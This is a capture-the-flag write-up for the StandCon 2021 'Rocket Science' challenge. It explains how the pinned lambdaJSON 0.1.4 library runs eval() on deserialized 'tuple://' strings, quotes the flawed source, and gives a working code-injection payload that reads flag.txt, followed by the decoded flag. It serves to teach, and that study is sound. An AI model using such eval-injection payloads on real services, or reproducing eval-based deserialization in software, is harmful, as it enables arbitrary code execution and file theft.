> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/my-challenges/standcon-ctf-2021/rocket-science.md).

# Rocket Science

## Description

Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers!

`nc 20.198.209.142 55020`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfMROF5eetXvu-lW\_68" %}
requirements.txt
{% endfile %}

{% file src="/files/-MfMRSjF9XiyqyRMI\_TM" %}
rocket\_science.py
{% endfile %}

## Solution

The requirements file contains only a single dependency.

```
lambdajson == 0.1.4
```

Let's take a look at the part of the source code in which this is used.

```python
elif ipt == '3':
	
		print("Enter saved numbers:")
		
		try:
			numbers = lj.deserialize(input('> '))
			
			if type(numbers) == tuple and all(type(x) == int for x in numbers):
				print(numbers)
				
			else:
				print("Don't you know what numbers are?")
			
		except:
			print("Invalid input!")
```

We can see that `lj.deserialize()` is called directly on the user input.

It's always a good idea to check dependencies for vulnerabilities, so let's go to the [PyPi page](https://pypi.org/project/lambdaJSON/) for lambdaJSON. If version 0.1.4 is vulnerable, then we should expect later versions to issue security fixes.

On the [release notes](https://pypi.org/project/lambdaJSON/0.1.5/) from version 0.1.5, we find our vulnerability.

![](/files/0k07gRYnuNZe1k5A3Nxa)

Under the "Changes from previous" section:

> Security fix. Using ast.literal\_eval as eval.

From the release history, we can find out when this fix was released.

![](/files/7LQB6Udrci0MC8fCNgnh)

This allows us to find the [GitHub commit](https://github.com/pouya-eghbali/lambdaJSON/commit/0d3bcb8bf3388c90819f0f24c9865bc8d4d8b91e) for this fix.

![](/files/us5FN4Ol1oTT4cpowHIg)

Great! We have found the source code for the vulnerable version of the package. In the [source code](https://github.com/pouya-eghbali/lambdaJSON/blob/05d8d92916cdb9df20b83265c6ccd38d6b29d52b/lambdaJSON.py), we find that the `restore()` function used by `deserialize()` uses `eval()`!

```python
restore = lambda obj:          (isinstance(obj, str) 
                        and    (lambda x: x.startswith('bytes://') 
                        and    bytes(x[8:], encoding = 'utf8') 
                        or     x.startswith('int://') 
                        and    int(x[6:]) 
                        or     x.startswith('float://') 
                        and    float(x[8:])
                        or     x.startswith('long://') 
                        and    long(x[7:])
                        or     x.startswith('bool://') 
                        and    eval(x[7:]) 
                        or     x.startswith('complex://')
                        and    complex(x[10:])
                        or     x.startswith('tuple://') 
                        and    eval(x[8:]) or x)(obj) 
                        or     isinstance(obj, list) 
                        and    [restore(i) for i in obj] 
                        or     isinstance(obj, dict) 
                        and    {restore(i):restore(obj[i]) for i in obj} 
                        or     obj)

...

deserialize = lambda obj: restore(json.loads(obj))
```

Note that the deserialized output must be a tuple of integers.

```python
if type(numbers) == tuple and all(type(x) == int for x in numbers):
				print(numbers)
```

The vulnerable version of `deserialize()` will strip the starting `tuple://` and `eval()` the rest of the input string.

So, if we use the following payload:

```
"tuple://(int.from_bytes(open('flag.txt').read().encode(), byteorder='big'), 2)"
```

we will get the integer representation of the flag.

![](/files/R6mOG44i0UCqOclU9YWd)

The flag is `STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}`

```
➜  ~ python3
Python 3.9.5 (default, May  4 2021, 03:36:27)
[Clang 12.0.0 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(3969309506657081582967368110556498469050796930805813227720771571473136717745745293677237528859886779701434271164439572744813346302117987974410)
b'STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}\n'
>>>
```
